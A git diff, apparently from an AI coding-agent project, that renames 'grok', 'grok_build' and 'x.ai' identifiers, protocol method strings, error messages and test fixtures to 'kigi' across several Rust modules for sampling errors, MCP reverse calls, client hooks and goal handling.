diff --git a/crates/codegen/kigi-shell/src/sampling/error.rs b/crates/codegen/kigi-shell/src/sampling/error.rs
index 56ed55b..8b62da6 100644
--- a/crates/codegen/kigi-shell/src/sampling/error.rs
+++ b/crates/codegen/kigi-shell/src/sampling/error.rs
@@ -2,7 +2,7 @@
 //!
 //! The canonical error types now live in `kigi_sampling_types::error`.
 //! This module re-exports them and adds `map_sampling_err_to_acp` which
-//! depends on `agent_client_protocol::Error` (a grok-shell dependency).
+//! depends on `agent_client_protocol::Error` (a kigi-shell dependency).
 
 // Re-export everything from the standalone crate.
 pub use kigi_sampling_types::error::*;
@@ -72,7 +72,7 @@ pub fn map_sampling_err_to_acp(err: SamplingError) -> acp::Error {
             // explanation visible to the user without triggering the client's
             // re-auth flow on -32000.
             StatusCode::FORBIDDEN => {
-                let message = if message.contains("requires a Grok subscription")
+                let message = if message.contains("requires a Kigi subscription")
                     && crate::agent::auth_method::has_xai_api_key_env()
                 {
                     format!(
@@ -477,7 +477,7 @@ mod tests {
         with_api_key_env(Some("xai-test"), || {
             let err = SamplingError::Api {
                 status: StatusCode::FORBIDDEN,
-                message: "The model 'grok-build' requires a Grok subscription.".into(),
+                message: "The model 'kigi' requires a Kigi subscription.".into(),
                 model_metadata: None,
                 retry_after_secs: None,
             };
@@ -501,7 +501,7 @@ mod tests {
         with_api_key_env(None, || {
             let err = SamplingError::Api {
                 status: StatusCode::FORBIDDEN,
-                message: "The model 'grok-build' requires a Grok subscription.".into(),
+                message: "The model 'kigi' requires a Kigi subscription.".into(),
                 model_metadata: None,
                 retry_after_secs: None,
             };
diff --git a/crates/codegen/kigi-shell/src/session/acp_conversion.rs b/crates/codegen/kigi-shell/src/session/acp_conversion.rs
index 205678e..acdf416 100644
--- a/crates/codegen/kigi-shell/src/session/acp_conversion.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_conversion.rs
@@ -759,7 +759,7 @@ mod tests {
         let output = ToolOutput::Todo(TodoWriteOutput::TodosUpdated(TodoWriteSuccess {
             summary_for_prompt: "tasks".to_string(),
             todos: vec![],
-            state: kigi_tools::implementations::grok_build::todo::TodoState::default(),
+            state: kigi_tools::implementations::kigi::todo::TodoState::default(),
         }));
         let update = acp_tool_update(&output, "call-1", None, None).unwrap();
         assert_eq!(update.fields.status, Some(acp::ToolCallStatus::Completed));
@@ -768,7 +768,7 @@ mod tests {
     #[test]
     fn test_turn_end_plan_cleanup_preserves_semantics_and_priority() {
         use crate::tools::todo::plan_entry_from_todo_item;
-        use kigi_tools::implementations::grok_build::todo::{TodoItem, TodoPriority, TodoStatus};
+        use kigi_tools::implementations::kigi::todo::{TodoItem, TodoPriority, TodoStatus};
 
         // Simulate a mixed todo list at turn end.
         let items = [
@@ -836,13 +836,13 @@ mod tests {
     fn test_acp_plan_update_todo() {
         let output = ToolOutput::Todo(TodoWriteOutput::TodosUpdated(TodoWriteSuccess {
             summary_for_prompt: "tasks".to_string(),
-            todos: vec![kigi_tools::implementations::grok_build::todo::TodoItem {
+            todos: vec![kigi_tools::implementations::kigi::todo::TodoItem {
                 content: "Task 1".to_string(),
-                priority: kigi_tools::implementations::grok_build::todo::TodoPriority::Medium,
-                status: kigi_tools::implementations::grok_build::todo::TodoStatus::Completed,
+                priority: kigi_tools::implementations::kigi::todo::TodoPriority::Medium,
+                status: kigi_tools::implementations::kigi::todo::TodoStatus::Completed,
                 meta: None,
             }],
-            state: kigi_tools::implementations::grok_build::todo::TodoState::default(),
+            state: kigi_tools::implementations::kigi::todo::TodoState::default(),
         }));
         let plan = acp_plan_update(&output).unwrap();
         assert_eq!(plan.entries.len(), 1);
diff --git a/crates/codegen/kigi-shell/src/session/acp_mcp.rs b/crates/codegen/kigi-shell/src/session/acp_mcp.rs
index 3936d5e..d77044c 100644
--- a/crates/codegen/kigi-shell/src/session/acp_mcp.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_mcp.rs
@@ -1,14 +1,14 @@
-//! In-process SDK MCP servers over the ACP reverse channel (`x.ai/mcp/sdk_call`).
+//! In-process SDK MCP servers over the ACP reverse channel (`kigi/mcp/sdk_call`).
 //!
-//! The official `grok-agent-sdk` lets a host define in-process tools (`@tool` /
+//! The official `kigi-agent-sdk` lets a host define in-process tools (`@tool` /
 //! `create_sdk_mcp_server`). When `transport="acp"`, the SDK registers them in
-//! `session/new` `_meta["x.ai/mcp/servers"] = [{ "name", "serverId" }]` and the agent
+//! `session/new` `_meta["kigi/mcp/servers"] = [{ "name", "serverId" }]` and the agent
 //! invokes their tools by sending each MCP JSON-RPC message back to the client as a
-//! reverse `x.ai/mcp/sdk_call` request — handled here by [`GatewayAcpInvoker`].
+//! reverse `kigi/mcp/sdk_call` request — handled here by [`GatewayAcpInvoker`].
 //!
-//! NOTE: the *reverse* route (agent -> client, `x.ai/mcp/sdk_call`) invokes a tool that
+//! NOTE: the *reverse* route (agent -> client, `kigi/mcp/sdk_call`) invokes a tool that
 //! lives in the SDK's process. It is the zero-IPC mirror of the *forward* route (client
-//! -> agent, `x.ai/mcp/call` in `extensions::mcp`), which invokes a tool on a server the
+//! -> agent, `kigi/mcp/call` in `extensions::mcp`), which invokes a tool on a server the
 //! AGENT is connected to. They use distinct method strings and sit on opposite request
 //! handlers, so they never collide.
 
@@ -20,7 +20,7 @@ use kigi_mcp::acp_transport::AcpReverseInvoker;
 use kigi_mcp::servers::AcpServerEntry;
 use kigi_mcp::wire;
 
-/// Parse `_meta["x.ai/mcp/servers"]` into [`AcpServerEntry`] registrations. Each entry
+/// Parse `_meta["kigi/mcp/servers"]` into [`AcpServerEntry`] registrations. Each entry
 /// is deserialized directly into the canonical type (so the `serverId` wire field is
 /// serde-checked, not hand-read); entries missing `name`/`serverId` are skipped with a
 /// warning. A name seen twice keeps the first (server names are the tool namespace, so a
@@ -38,12 +38,12 @@ pub fn parse_acp_mcp_servers(meta: Option<&acp::Meta>) -> Vec<AcpServerEntry> {
         let server: AcpServerEntry = match serde_json::from_value(entry.clone()) {
             Ok(server) => server,
             Err(err) => {
-                tracing::warn!(entry = %entry, %err, "ignoring malformed x.ai/mcp/servers entry");
+                tracing::warn!(entry = %entry, %err, "ignoring malformed kigi/mcp/servers entry");
                 continue;
             }
         };
         if !seen.insert(server.name.clone()) {
-            tracing::warn!(name = %server.name, "ignoring duplicate x.ai/mcp/servers entry");
+            tracing::warn!(name = %server.name, "ignoring duplicate kigi/mcp/servers entry");
             continue;
         }
         servers.push(server);
@@ -53,7 +53,7 @@ pub fn parse_acp_mcp_servers(meta: Option<&acp::Meta>) -> Vec<AcpServerEntry> {
 
 /// Reverse-RPC invoker for in-process SDK MCP servers.
 ///
-/// Each [`invoke`](AcpReverseInvoker::invoke) sends one `x.ai/mcp/sdk_call` reverse request
+/// Each [`invoke`](AcpReverseInvoker::invoke) sends one `kigi/mcp/sdk_call` reverse request
 /// straight through the gateway. `AcpAgentGatewaySender::send` returns a `Send` future
 /// (unlike the `?Send` `acp::Client::ext_method` trait method), so the rmcp transport's
 /// `Send` invoker bound is satisfied with no relay task. Calls are independent and may
@@ -68,7 +68,7 @@ impl GatewayAcpInvoker {
     }
 }
 
-/// Reverse `x.ai/mcp/sdk_call` params. Declares the on-wire field names once (mirrors
+/// Reverse `kigi/mcp/sdk_call` params. Declares the on-wire field names once (mirrors
 /// the forward side's typed `McpCallRequest`) so the `serverId` literal isn't hand-spelled.
 #[derive(serde::Serialize)]
 struct SdkCallParams<'a> {
@@ -111,7 +111,7 @@ mod tests {
     #[test]
     fn parses_valid_entries_and_skips_malformed() {
         let meta = serde_json::json!({
-            "x.ai/mcp/servers": [
+            "kigi/mcp/servers": [
                 { "name": "harness-tools", "serverId": "srv_0" },
                 { "name": "missing-id" },
                 { "serverId": "no_name" },
@@ -126,7 +126,7 @@ mod tests {
     #[test]
     fn duplicate_names_keep_the_first() {
         let meta = serde_json::json!({
-            "x.ai/mcp/servers": [
+            "kigi/mcp/servers": [
                 { "name": "tools", "serverId": "srv_0" },
                 { "name": "tools", "serverId": "srv_1" },
             ]
diff --git a/crates/codegen/kigi-shell/src/session/acp_session.rs b/crates/codegen/kigi-shell/src/session/acp_session.rs
index 2a7339e..785b6a4 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session.rs
@@ -61,7 +61,7 @@ use kigi_sampler::SamplerConfig as SamplingConfig;
 use kigi_sampling_types::truncate_bytes;
 use kigi_tools::computer::local::LocalTerminalBackend;
 use kigi_tools::implementations::BashToolInput;
-use kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig;
+use kigi_tools::implementations::kigi::web_fetch::WebFetchConfig;
 use kigi_tools::types::ToolInput;
 use kigi_tools::types::compat::CompatConfig;
 use kigi_tools::types::output::{
@@ -178,7 +178,7 @@ mod spawn;
 use super::acp_types::*;
 pub use spawn::SessionThread;
 pub(crate) use spawn::*;
-/// Client-registered hook gates (the `x.ai/hooks/run` reverse request).
+/// Client-registered hook gates (the `kigi/hooks/run` reverse request).
 mod hooks;
 pub(crate) struct InputItem {
     pub(crate) prompt_id: String,
@@ -461,7 +461,7 @@ pub(crate) struct SessionActor {
     /// Server-side doom-loop check policy, resolved once at spawn by
     /// `Config::resolve_doom_loop_recovery`; `None` = disabled.
     /// `reconstruct_full_config` threads it into the sampler config, and the
-    /// sampler itself sends the matching `x-grok-doom-loop-check` header.
+    /// sampler itself sends the matching `x-kigi-doom-loop-check` header.
     pub(crate) doom_loop_recovery: Option<kigi_sampling_types::DoomLoopRecoveryPolicy>,
     /// Telemetry-only per-turn doom-loop recovery tally (attempts, whether a
     /// budget-spent accept happened, tightest trigger label). Accumulated by
@@ -524,10 +524,10 @@ pub(crate) struct SessionActor {
     /// Wrapped in `RefCell` for mid-session mutation (skill refresh, prompt regen).
     /// Safe: session actor is single-threaded (LocalSet), no concurrent access.
     pub(crate) agent: std::cell::RefCell<kigi_agent::Agent>,
-    /// Dedup slot for `x.ai/git_head_changed`, shared with the fs-watch
+    /// Dedup slot for `kigi/git_head_changed`, shared with the fs-watch
     /// `GitHead` consumer (see `git_head_dedup_key`).
     pub(crate) last_reported_branch: Arc<parking_lot::Mutex<Option<String>>>,
-    /// Client opted into `x.ai/gitHeadChanged`. When false (headless/SDK),
+    /// Client opted into `kigi/gitHeadChanged`. When false (headless/SDK),
     /// `maybe_notify_git_branch` no-ops — no git subprocess.
     git_head_enabled: bool,
     /// Shared models manager for etag-triggered refresh from response headers.
@@ -615,7 +615,7 @@ pub(crate) struct SessionActor {
     pub(crate) goal_update_rx: std::cell::RefCell<
         Option<
             tokio::sync::mpsc::UnboundedReceiver<
-                kigi_tools::implementations::grok_build::update_goal::UpdateGoalEnvelope,
+                kigi_tools::implementations::kigi::update_goal::UpdateGoalEnvelope,
             >,
         >,
     >,
@@ -624,7 +624,7 @@ pub(crate) struct SessionActor {
     /// empty ToolBridge. The `rx` half is owned by the drainer task (see
     /// `goal_update_rx`).
     pub(crate) goal_update_tx: tokio::sync::mpsc::UnboundedSender<
-        kigi_tools::implementations::grok_build::update_goal::UpdateGoalEnvelope,
+        kigi_tools::implementations::kigi::update_goal::UpdateGoalEnvelope,
     >,
     /// Resolved master kill-switch for the verification stage (the
     /// adversarial skeptic panel). `false` short-circuits
@@ -690,7 +690,7 @@ pub(crate) struct SessionActor {
     /// time; only the input is parked here for the TurnEnd drain to
     /// run through the verification stage.
     pub(crate) pending_classifier_completions: parking_lot::Mutex<
-        VecDeque<kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput>,
+        VecDeque<kigi_tools::implementations::kigi::update_goal::UpdateGoalInput>,
     >,
     /// Per-session re-entry guard for the verification stage. Set with
     /// `compare_exchange(false, true)` at fire-entry and cleared on
@@ -742,7 +742,7 @@ pub(crate) struct SessionActor {
     /// Wrapped in `RefCell` for mid-session reload from `&self` methods.
     /// Safe: session actor is single-threaded (LocalSet), no concurrent access.
     pub(crate) hook_registry: std::cell::RefCell<Option<Arc<kigi_hooks::discovery::HookRegistry>>>,
-    /// Client hooks from `session/new` `_meta["x.ai/hooks"]`; gated in
+    /// Client hooks from `session/new` `_meta["kigi/hooks"]`; gated in
     /// [`crate::session::acp_session::hooks`]. `RefCell` so `load_session` reconnect can
     /// replace the set on the live actor (see `SessionCommand::SetClientHooks`).
     pub(crate) client_hooks: std::cell::RefCell<crate::extensions::hooks::ClientHooks>,
@@ -981,7 +981,7 @@ impl SessionActor {
             memory_configured: self.memory.backend_params.is_some(),
             scheduler: tool_names
                 .iter()
-                .any(|n| n == kigi_tools::implementations::grok_build::SCHEDULER_CREATE_TOOL_NAME),
+                .any(|n| n == kigi_tools::implementations::kigi::SCHEDULER_CREATE_TOOL_NAME),
             hooks: self.hook_registry.borrow().is_some(),
             plugins: self.plugin_registry.borrow().is_some(),
             goal,
@@ -1039,7 +1039,7 @@ const PROMPT_CONTEXT_FILENAME: &str = "prompt_context.json";
 /// Persist the structured prompt context to `{session_dir}/prompt_context.json`.
 ///
 /// This is best-effort: failures are logged but do not block session creation.
-/// The saved JSON enables deterministic re-rendering, `grok prompt --json`
+/// The saved JSON enables deterministic re-rendering, `kigi prompt --json`
 /// inspection, and post-hoc debugging of what went into a session's system prompt.
 fn save_prompt_context(session_info: &SessionInfo, prompt_context: &kigi_agent::PromptContext) {
     let dir = crate::session::persistence::session_dir(session_info);
@@ -1232,7 +1232,7 @@ mod turn_completion_emit_tests;
 mod usage_categories_tests;
 #[cfg(test)]
 mod tool_meta_stamp_tests {
-    //! Pin the `x.ai/tool` stamps on the harness emission paths: the early
+    //! Pin the `kigi/tool` stamps on the harness emission paths: the early
     //! ToolCall registered by `prepare_tool_call` and the permission-request
     //! ToolCallUpdate (a dropped `stamp_tool_meta` call would regress silently).
     use super::replay_buffer_send_update_tests::make_replay_send_update_fixture;
@@ -1252,7 +1252,7 @@ mod tool_meta_stamp_tests {
             },
         }
     }
-    /// The `x.ai/tool` object from an event's `_meta`, if present.
+    /// The `kigi/tool` object from an event's `_meta`, if present.
     fn tool_meta(meta: Option<&acp::Meta>) -> Option<&serde_json::Value> {
         meta.and_then(|m| m.get(TOOL_META_KEY))
     }
@@ -1263,10 +1263,8 @@ mod tool_meta_stamp_tests {
             .run_until(async {
                 let mut fixture = make_replay_send_update_fixture().await;
                 fixture.actor.agent = std::cell::RefCell::new(
-                    test_agent_with_tools(vec![ToolConfig::from_id(
-                        "GrokBuild:read_file".to_string(),
-                    )])
-                    .await,
+                    test_agent_with_tools(vec![ToolConfig::from_id("Kigi:read_file".to_string())])
+                        .await,
                 );
                 let prepared = fixture
                     .actor
@@ -1289,13 +1287,13 @@ mod tool_meta_stamp_tests {
                     }
                 }
                 let early = early.expect("early ToolCall emitted");
-                let t = tool_meta(early.as_ref()).expect("early ToolCall carries x.ai/tool");
+                let t = tool_meta(early.as_ref()).expect("early ToolCall carries kigi/tool");
                 assert_eq!(t["name"], "read_file");
                 assert_eq!(t["kind"], "read");
-                assert_eq!(t["namespace"], "grok_build");
+                assert_eq!(t["namespace"], "kigi");
                 assert!(t.get("input").is_none(), "identity-only before parse");
                 let refined = refined.expect("refinement ToolCallUpdate emitted");
-                let t = tool_meta(refined.as_ref()).expect("refinement carries x.ai/tool");
+                let t = tool_meta(refined.as_ref()).expect("refinement carries kigi/tool");
                 assert_eq!(t["input"]["path"], "/tmp/stamp.txt");
             })
             .await;
@@ -1307,10 +1305,8 @@ mod tool_meta_stamp_tests {
             .run_until(async {
                 let mut fixture = make_replay_send_update_fixture().await;
                 fixture.actor.agent = std::cell::RefCell::new(
-                    test_agent_with_tools(vec![ToolConfig::from_id(
-                        "GrokBuild:read_file".to_string(),
-                    )])
-                    .await,
+                    test_agent_with_tools(vec![ToolConfig::from_id("Kigi:read_file".to_string())])
+                        .await,
                 );
                 let (perm_tx, mut perm_rx) = mpsc::unbounded_channel();
                 fixture.actor.permissions = PermissionHandle::Actor {
@@ -1350,7 +1346,7 @@ mod tool_meta_stamp_tests {
                     .take()
                     .expect("permission request must have been issued");
                 let t = tool_meta(update.meta.as_ref())
-                    .expect("permission-request ToolCallUpdate carries x.ai/tool");
+                    .expect("permission-request ToolCallUpdate carries kigi/tool");
                 assert_eq!(t["name"], "read_file");
                 assert_eq!(t["kind"], "read");
                 assert_eq!(t["input"]["path"], "/tmp/stamp.txt");
diff --git a/crates/codegen/kigi-shell/src/session/acp_session/hooks.rs b/crates/codegen/kigi-shell/src/session/acp_session/hooks.rs
index baedb5a..3758e6c 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session/hooks.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session/hooks.rs
@@ -1,11 +1,11 @@
 //! Client-registered hooks for [`SessionActor`].
 //!
-//! Hooks registered at `session/new` (`_meta["x.ai/hooks"]`) come in two flavors,
+//! Hooks registered at `session/new` (`_meta["kigi/hooks"]`) come in two flavors,
 //! both matched by the agent ([`kigi_hooks::matcher::HookMatcher`], shared with
 //! file hooks):
-//! - **`PreToolUse` gate**: an awaited reverse *request* `x.ai/hooks/run`; a `deny`
+//! - **`PreToolUse` gate**: an awaited reverse *request* `kigi/hooks/run`; a `deny`
 //!   blocks the tool.
-//! - **All other events**: fire-and-forget *notifications* `x.ai/hooks/event`,
+//! - **All other events**: fire-and-forget *notifications* `kigi/hooks/event`,
 //!   observe-only (the callback's return is ignored). Sent per matching callback.
 
 use std::sync::Arc;
@@ -23,10 +23,10 @@ use crate::extensions::hooks::{
 };
 use crate::sampling::types::ToolCallResponse;
 
-const HOOK_EVENT_METHOD: &str = "x.ai/hooks/event";
-const HOOK_RUN_METHOD: &str = "x.ai/hooks/run";
+const HOOK_EVENT_METHOD: &str = "kigi/hooks/event";
+const HOOK_RUN_METHOD: &str = "kigi/hooks/run";
 
-/// Default per-callback bound for a client's `x.ai/hooks/run` reply; on timeout the gate
+/// Default per-callback bound for a client's `kigi/hooks/run` reply; on timeout the gate
 /// fails open (the tool proceeds).
 ///
 /// Some external hosts default to 600s per hook; we default to 30s because our gate sits
@@ -47,7 +47,7 @@ enum ClientHookGateOutcome {
     UnknownDecision,
 }
 
-/// Outcome of the `x.ai/hooks/run` reverse request, before interpreting it as a
+/// Outcome of the `kigi/hooks/run` reverse request, before interpreting it as a
 /// decision. Separate so [`classify`] stays pure and unit-testable.
 enum ReverseOutcome {
     Responded(Arc<RawValue>),
@@ -68,7 +68,7 @@ fn classify(outcome: ReverseOutcome) -> (ClientHookResponse, ClientHookGateOutco
                         ClientHookDecision::Deny => ClientHookGateOutcome::Denied,
                         ClientHookDecision::Other => {
                             tracing::warn!(
-                                "x.ai/hooks/run returned an unknown decision value; failing open"
+                                "kigi/hooks/run returned an unknown decision value; failing open"
                             );
                             ClientHookGateOutcome::UnknownDecision
                         }
@@ -77,7 +77,7 @@ fn classify(outcome: ReverseOutcome) -> (ClientHookResponse, ClientHookGateOutco
                     (resp, label)
                 }
                 Err(err) => {
-                    tracing::warn!(%err, "malformed x.ai/hooks/run response; failing open");
+                    tracing::warn!(%err, "malformed kigi/hooks/run response; failing open");
                     (
                         ClientHookResponse::default(),
                         ClientHookGateOutcome::Malformed,
@@ -86,14 +86,14 @@ fn classify(outcome: ReverseOutcome) -> (ClientHookResponse, ClientHookGateOutco
             }
         }
         ReverseOutcome::Transport(err) => {
-            tracing::warn!(%err, "x.ai/hooks/run transport error (no client wired?); failing open");
+            tracing::warn!(%err, "kigi/hooks/run transport error (no client wired?); failing open");
             (
                 ClientHookResponse::default(),
                 ClientHookGateOutcome::TransportError,
             )
         }
         ReverseOutcome::Timeout => {
-            tracing::warn!("x.ai/hooks/run timed out; failing open");
+            tracing::warn!("kigi/hooks/run timed out; failing open");
             (
                 ClientHookResponse::default(),
                 ClientHookGateOutcome::TimedOut,
@@ -206,7 +206,7 @@ impl SessionActor {
     }
 
     /// Run the client-registered `PreToolUse` hooks for `call`, firing
-    /// `x.ai/hooks/run` once per matching callback with the shared `envelope` (the
+    /// `kigi/hooks/run` once per matching callback with the shared `envelope` (the
     /// same payload file hooks and observe events receive).
     ///
     /// Returns `Some(ToolLoop::HookDenied)` on the first deny, else `None`.
@@ -285,7 +285,7 @@ impl SessionActor {
         Ok(None)
     }
 
-    /// Issue one `x.ai/hooks/run` reverse request, bounded by a per-callback `timeout`.
+    /// Issue one `kigi/hooks/run` reverse request, bounded by a per-callback `timeout`.
     async fn send_hook_run(
         &self,
         dispatch: &ClientHookDispatch<'_>,
@@ -305,7 +305,7 @@ impl SessionActor {
     }
 
     /// Fire observe-only client hooks for `envelope`'s event: send an
-    /// `x.ai/hooks/event` notification to each matching registered callback.
+    /// `kigi/hooks/event` notification to each matching registered callback.
     /// Fire-and-forget (no decision is consumed); independent of file hooks, so it
     /// runs even when no on-disk hook registry exists. No-op when nothing is registered.
     pub(super) fn notify_client_hooks(&self, envelope: &HookEventEnvelope) {
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/goal.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/goal.rs
index d2d33a2..3758eed 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/goal.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/goal.rs
@@ -22,7 +22,7 @@ impl RoleCapability {
     /// `can_execute` for terminal/bash).
     fn is_satisfied(
         self,
-        summary: &kigi_tools::implementations::grok_build::task::types::SubagentTypeSummary,
+        summary: &kigi_tools::implementations::kigi::task::types::SubagentTypeSummary,
     ) -> bool {
         match self {
             Self::Skeptic => summary.can_read && summary.can_search,
@@ -42,7 +42,7 @@ pub(crate) struct PanelResolveCache {
     /// result for the role's `general-purpose` toolset on that harness).
     describe: std::collections::HashMap<
         String,
-        kigi_tools::implementations::grok_build::task::types::SubagentDescribeOutcome,
+        kigi_tools::implementations::kigi::task::types::SubagentDescribeOutcome,
     >,
 }
 
@@ -57,7 +57,7 @@ fn role_tool_names_from(
     cache: &PanelResolveCache,
     inherit: &crate::session::goal_role_tools::RoleToolNames,
 ) -> crate::session::goal_role_tools::RoleToolNames {
-    use kigi_tools::implementations::grok_build::task::types::SubagentDescribeOutcome;
+    use kigi_tools::implementations::kigi::task::types::SubagentDescribeOutcome;
     // `override_.agent_type` is the committed harness; the cache is keyed on it.
     match override_.agent_type.as_deref() {
         Some(harness) => match cache.describe.get(harness) {
@@ -115,9 +115,9 @@ impl SessionActor {
         &self,
         current_tokens: i64,
         purpose: DrainPurpose,
-        extra: Vec<kigi_tools::implementations::grok_build::update_goal::UpdateGoalEnvelope>,
+        extra: Vec<kigi_tools::implementations::kigi::update_goal::UpdateGoalEnvelope>,
     ) {
-        use kigi_tools::implementations::grok_build::update_goal::{RejectReason, UpdateGoalAck};
+        use kigi_tools::implementations::kigi::update_goal::{RejectReason, UpdateGoalAck};
         // The `update_goal` tool and its `GoalUpdateHandle` are always
         // registered (see `spawn_session_actor`), so a model can call
         // `update_goal` in a session that never entered goal mode — e.g. any
@@ -650,10 +650,10 @@ impl SessionActor {
         attempt: u32,
         outcome: crate::session::goal_classifier::GoalClassifierOutcome,
         notify: &crate::session::goal_orchestrator::GoalNotifySender,
-    ) -> kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck {
+    ) -> kigi_tools::implementations::kigi::update_goal::UpdateGoalAck {
         use crate::session::goal_classifier::GoalClassifierOutcome;
         use crate::session::goal_tracker::GoalClassifierVerdict;
-        use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+        use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
 
         let current_tokens = self.chat_state_handle.get_total_tokens().await as i64;
         let (tokens_used, finished_marginal) = self.goal_tokens(current_tokens);
@@ -1299,7 +1299,7 @@ impl SessionActor {
         choice: &crate::agent::config::GoalRoleModelChoice,
         capability: RoleCapability,
         event_tx: &tokio::sync::mpsc::UnboundedSender<
-            kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+            kigi_tools::implementations::kigi::task::types::SubagentEvent,
         >,
     ) -> (
         crate::session::goal_planner::RoleSpawnOverride,
@@ -1372,17 +1372,15 @@ impl SessionActor {
         pair: &crate::util::config::GoalRoleModel,
         capability: RoleCapability,
         event_tx: &tokio::sync::mpsc::UnboundedSender<
-            kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+            kigi_tools::implementations::kigi::task::types::SubagentEvent,
         >,
         available_models: &indexmap::IndexMap<String, crate::agent::config::ModelEntry>,
         cache: &mut PanelResolveCache,
     ) -> crate::session::goal_planner::RoleSpawnOverride {
         use crate::session::events::{Event, GoalRoleModelFailOpenReason as Reason};
         use crate::session::goal_planner::RoleSpawnOverride;
-        use kigi_tools::implementations::grok_build::task::backend::{
-            ChannelBackend, SubagentBackend,
-        };
-        use kigi_tools::implementations::grok_build::task::types::SubagentDescribeOutcome;
+        use kigi_tools::implementations::kigi::task::backend::{ChannelBackend, SubagentBackend};
+        use kigi_tools::implementations::kigi::task::types::SubagentDescribeOutcome;
 
         let fail_open = |reason: Reason| {
             self.emit_event(Event::GoalRoleModelFailOpen {
@@ -1408,7 +1406,7 @@ impl SessionActor {
         }
         // 2b. Reject a STRICT harness whose flavor isn't representable (e.g.
         //    `codex`): it resolves, but `resolve_subagent_toolset` would
-        //    silently run grok-build flavor. Non-strict names (grok-build
+        //    silently run kigi flavor. Non-strict names (kigi
         //    family) run the default flavor and pass; unresolvable names fall
         //    through to the describe `Unknown` arm below.
         if kigi_agent::config::is_strict_harness_agent_type(&pair.agent_type)
@@ -1511,9 +1509,9 @@ impl SessionActor {
     /// toolset; [`RoleToolNames::from_parent`] applies the literal fallback for
     /// any kind the bridge lacks, and resolves `{WRITE_TOOL}` from the parent
     /// `Edit` tool when the bridge has no `Write` (so the inherit / retry render
-    /// agrees with `from_summary` — `search_replace` on the default grok-build
+    /// agrees with `from_summary` — `search_replace` on the default kigi
     /// host, not the literal `write`). The `{TOOLSET_TOOLS}` block is empty on
-    /// this path (no per-role toolset enumeration); on the default grok-build
+    /// this path (no per-role toolset enumeration); on the default kigi
     /// host the bridge resolves the parent's real tool ids (`read_file`, …).
     pub(crate) async fn resolve_inherit_role_tool_names(
         &self,
@@ -2340,7 +2338,7 @@ impl SessionActor {
 #[cfg(test)]
 mod role_capability_tests {
     use super::RoleCapability;
-    use kigi_tools::implementations::grok_build::task::types::SubagentTypeSummary;
+    use kigi_tools::implementations::kigi::task::types::SubagentTypeSummary;
 
     fn summary(can_read: bool, can_search: bool, can_execute: bool) -> SubagentTypeSummary {
         SubagentTypeSummary {
@@ -2371,7 +2369,7 @@ mod role_tool_names_tests {
     use super::{PanelResolveCache, role_tool_names_from};
     use crate::session::goal_planner::RoleSpawnOverride;
     use crate::session::goal_role_tools::RoleToolNames;
-    use kigi_tools::implementations::grok_build::task::types::{
+    use kigi_tools::implementations::kigi::task::types::{
         SubagentDescribeOutcome, SubagentTypeSummary,
     };
     use kigi_tools::types::tool::ToolKind;
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/goal_support.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/goal_support.rs
index 3397061..dfec3b8 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/goal_support.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/goal_support.rs
@@ -15,10 +15,10 @@ impl DrainSource {
     pub(super) fn into_parts(
         self,
     ) -> (
-        kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput,
+        kigi_tools::implementations::kigi::update_goal::UpdateGoalInput,
         Option<
             tokio::sync::oneshot::Sender<
-                kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck,
+                kigi_tools::implementations::kigi::update_goal::UpdateGoalAck,
             >,
         >,
     ) {
@@ -33,11 +33,9 @@ impl DrainSource {
 /// source). No-op for `Pending` source — its ack was already resolved.
 pub(super) fn try_send_ack(
     ack_tx: Option<
-        tokio::sync::oneshot::Sender<
-            kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck,
-        >,
+        tokio::sync::oneshot::Sender<kigi_tools::implementations::kigi::update_goal::UpdateGoalAck>,
     >,
-    ack: kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck,
+    ack: kigi_tools::implementations::kigi::update_goal::UpdateGoalAck,
 ) {
     if let Some(tx) = ack_tx {
         send_ack(tx, ack);
@@ -154,9 +152,9 @@ impl<F: FnOnce(&mut crate::session::goal_tracker::GoalTracker)> Drop for Tracker
 /// the receiver was dropped (benign — tool future aborted).
 pub(super) fn send_ack(
     ack_tx: tokio::sync::oneshot::Sender<
-        kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck,
+        kigi_tools::implementations::kigi::update_goal::UpdateGoalAck,
     >,
-    ack: kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck,
+    ack: kigi_tools::implementations::kigi::update_goal::UpdateGoalAck,
 ) {
     if ack_tx.send(ack).is_err() {
         tracing::debug!("update_goal ack receiver dropped before harness could respond");
@@ -702,14 +700,14 @@ mod fold_tokens_by_model_tests {
     #[test]
     fn mixed_models_sum_marginals_sorted_desc() {
         let records = vec![
-            rec(Some("g1"), 0, 100, Some("grok-3")),
-            rec(Some("g1"), 100, 500, Some("grok-4")), // marginal 400
-            rec(Some("g1"), 0, 50, Some("grok-3")),    // grok-3 total 150
+            rec(Some("g1"), 0, 100, Some("kigi-3")),
+            rec(Some("g1"), 100, 500, Some("kigi-4")), // marginal 400
+            rec(Some("g1"), 0, 50, Some("kigi-3")),    // kigi-3 total 150
         ];
         let out = fold_tokens_by_model(&records, "g1", "cur");
         assert_eq!(
             out,
-            vec![("grok-4".to_owned(), 400), ("grok-3".to_owned(), 150)]
+            vec![("kigi-4".to_owned(), 400), ("kigi-3".to_owned(), 150)]
         );
     }
 
@@ -736,38 +734,38 @@ mod fold_tokens_by_model_tests {
     #[test]
